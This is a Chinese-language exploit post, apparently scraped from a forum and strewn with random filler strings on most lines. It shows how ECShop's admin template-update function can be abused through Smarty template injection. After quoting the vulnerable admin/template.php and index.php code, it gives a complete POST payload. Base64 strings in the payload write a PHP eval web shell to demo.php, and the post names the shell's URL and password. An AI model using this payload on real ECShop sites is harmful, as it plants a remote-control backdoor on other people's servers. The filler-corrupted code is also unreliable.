首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
* Z7 k" D: o, n! z* P- l: b! K; N
/ R& A1 q5 ?7 |* {. u而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
& Y9 k5 @! Z7 H g3 ^) d但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
/ _$ D' n) p( @& {% q) O& fadmin/template.php# F5 C r9 `+ P% I
4 k! o7 K1 V$ p9 k' {1 if ($_REQUEST['act'] == 'update_library')
% H$ h! I, Q3 H' k9 {( C1 T! U8 P. d" F, D
2 + k9 F- @9 J7 E9 J$ I4 N p; J
5 t* p6 b& [4 {3 {
0 C H# p: z- x) }
' w: C! j2 I$ |4 check_authz_json('library_manage');
% I, G$ W: Y5 [: Y1 e; x) u; f8 r$ v; h/ F
5 5 A% ^0 O% Z# k; {8 w
9 K3 Y" S6 J4 C3 A5 t9 Z: m6 $html = stripslashes(json_str_iconv($_POST['html'])); ( X& o, h/ i. K6 w4 t3 U5 E
]/ G# ]4 I, g' B" D7 3 |- N0 {0 e5 T! v& P3 F0 o
( l% ~- z) D4 ~* i- i: |- [8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
8 b U: `) g, J" J. u7 e) }
$ _! q4 D' f6 X' p8 f" z* e8 `- O9
0 p7 h$ W2 d: ~7 y$ [. p: o" v, J
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
, c B* O7 ?8 G( x( C
/ f, H) c D* X" B4 n8 M11
; f. g# W; t! n7 Z$ M0 z# V$ I+ ^
; _- S! U7 c) s: M* `12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
! p# ^8 j4 ^* j/ h8 U
2 k2 [3 n( A" w( [# h13
2 k. u! x0 ?+ x M
, G7 T+ a9 Y5 T- r$ D14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 3 N u% j- S, E" F. V' q7 s8 {6 Q
# k* i1 ^- l- x& ?, |" h
15 { ) j2 }9 {3 `& \( s
7 R1 t9 A( y- ?$ \4 u+ o
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
3 R, m: c8 Y. @9 M5 f1 G" [
$ D; g. A- w6 O8 Y5 ^. c7 r17 make_json_result('', $_LANG['update_lib_success']); $ o( R. h# \: x) A8 ]+ b
- W# ^& o) z/ w* y18 }
& H/ b. K; t. ?5 H
9 u4 ?3 L D7 P4 I2 H/ x9 W19 else % Y! `) V" {6 a& s) C( M
- ~' l- h0 c7 X
20 {
) ~: V; R. u: l+ ?0 d$ u* t% X. T2 n
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); 7 M2 ^/ I3 w' o5 g4 G* G. P
+ E6 c" ]' v1 }3 O6 x. {$ E22 } 3 {: H C$ H1 A, B
' B1 f+ e' }/ i! J" t; d* c
23 }
) A& P- n. a# e5 B; ?$ V; {3 F I! _
那么找个比较方便调用了模板的文件$ m+ F# [+ _0 {% c6 |7 B
index.php1 {0 n2 T3 p) G( p: m
# o; D& M- h: H9 R8 J/ H- ^1 if ($act == 'cat_rec')
* ?& f4 Z) b0 F' h
3 ?9 O4 H/ D0 i. b2 [9 w2
" u0 {* C j( G) M) G5 l; e/ R+ N! X$ H: |' k9 Q3 f( s
3 { 3 V, t8 Z1 E3 m1 t9 y0 v
" Z- S8 s, |& m0 R4 " ]* r- H2 I/ J' t) S
9 V, i6 P$ S- c5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
; D1 H( d3 T$ K7 j$ n5 n6 Z
, O; a" V- u2 U$ R% [6
" i7 F. W& V& H
5 D2 k" ~3 Z/ m) V/ ]1 o" B% ~) Q7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
8 X+ e6 U' n3 E( `6 ]
$ z* t$ K. E1 Z ?8
* K' M8 ?1 W# D6 f- M
5 t( N0 m- t. {, M, t0 P& k' E9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; % E8 [$ W* x; l/ B, y1 d5 O& n
- |) C5 a9 F6 ?, m+ T7 b3 m10 1 `. y: Q& K- o* q/ Q6 Y1 E8 @+ _* g
b" B% C9 {7 c/ y
11 include_once('includes/cls_json.php');
: V9 X' ~7 J/ o- [4 X2 {. X
4 Y5 |+ Y, ?$ r& C# ?! k, x( u" \12 4 s9 y$ v. I4 c
/ n' Q5 Y" h8 v$ w6 ^+ I
13 $json = new JSON;
, \, J/ k r. b$ ]6 V6 \
' h; R4 D, Q& E- T7 ]14 6 a9 h* m1 |5 T. c7 d2 g
k0 |& c: ]& i15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ( E! [# B, a. c' c8 Z! L( j
8 e" f7 }* c7 \* _$ w
16
) b3 @7 d9 U/ V/ ?" I8 Q# o- u8 n6 Q' d9 `; P
17 $children = get_children($cat_id);
* b! R7 \& K0 X5 V; g0 m6 K5 X
+ m- u0 [) h& t* Z7 L4 Y9 b* @18
2 W) O( q; n! L( t: P( A7 G
7 A9 r& z1 P2 [: D9 X19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
7 F: e3 e* ~1 e( p1 Z3 p8 L2 G7 C7 t4 U2 V5 ~+ Q7 h! C/ G v
20 + T- W% ]; h9 z
Q3 M* r. _: V- u1 z21 $smarty->assign('cat_rec_sign', 1);
7 F8 ^ U( k- m5 x/ ~ O
2 d8 R7 K, o/ K& T0 x22
3 w3 [6 ~/ P8 D8 \$ Y$ P, d- H+ b0 j! h3 S! h9 C
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
+ R: d. n6 R8 [9 }/ P' K
1 M% t( | j# K0 j4 I: |24 7 `9 r: d' R3 w
/ C: ^! F5 f6 ~: p& Z
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 1 S# d$ X7 i+ W' o; o& }! B. {/ v
& m7 R) u- f# z
26
M" h& Z* y' _/ n0 m8 f; L9 h$ I- c' _: x( D3 Z& N* y$ Z2 Q2 {' q$ {
27 echo $rec_array[$rec_type];
2 H% g6 x+ S/ v4 ]: |' o1 K2 }, L3 A7 H# j( H4 v0 h/ B- H
28
3 O1 M+ C# p" \ v# ?$ F# M8 K
* d+ d! T! a7 J; _29 die($json->encode($result)); 6 S2 l) {7 d9 f3 k! d" J
! z$ z- Z' k; L! G4 t
30
% k5 M. s4 g# V) Q5 ~" ~" A/ x4 e+ s( q; J" p: d' S
31 } ) K0 |2 \$ F- o6 z* {
0 E1 v6 r }6 M) G4 E) t- w: x7 ?那么就有利用方法了5 j8 R7 i) i9 c' m
post包到http://localhost/ec/admin/template.php?act=update_library
. [* M+ }, O! \Post内容:4 j9 E% ~$ }+ [ p1 X. H& a
- P5 n& P2 }; w4 q' S \& y6 D; t
. {5 f# b/ }; @* A! h5 J3 [2 K1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 8 Q; B" {4 W2 g! n- x. O( n: l
, z. y7 S6 G- e% i( @3 Q3 U4 J* c然后访问http://localhost/ec/index.php?act=cat_rec! ]2 d+ u1 R: v7 I
- Q v2 L+ d6 \' x
shel地址:http://localhost/ec/demo.php
T5 i/ Z4 D. F2 [/ p4 ]密码c
) t# P: X }5 E/ F; s$ t- L
0 O" C( {8 G3 d4 C4 ?! }, b+ p3 P( _ |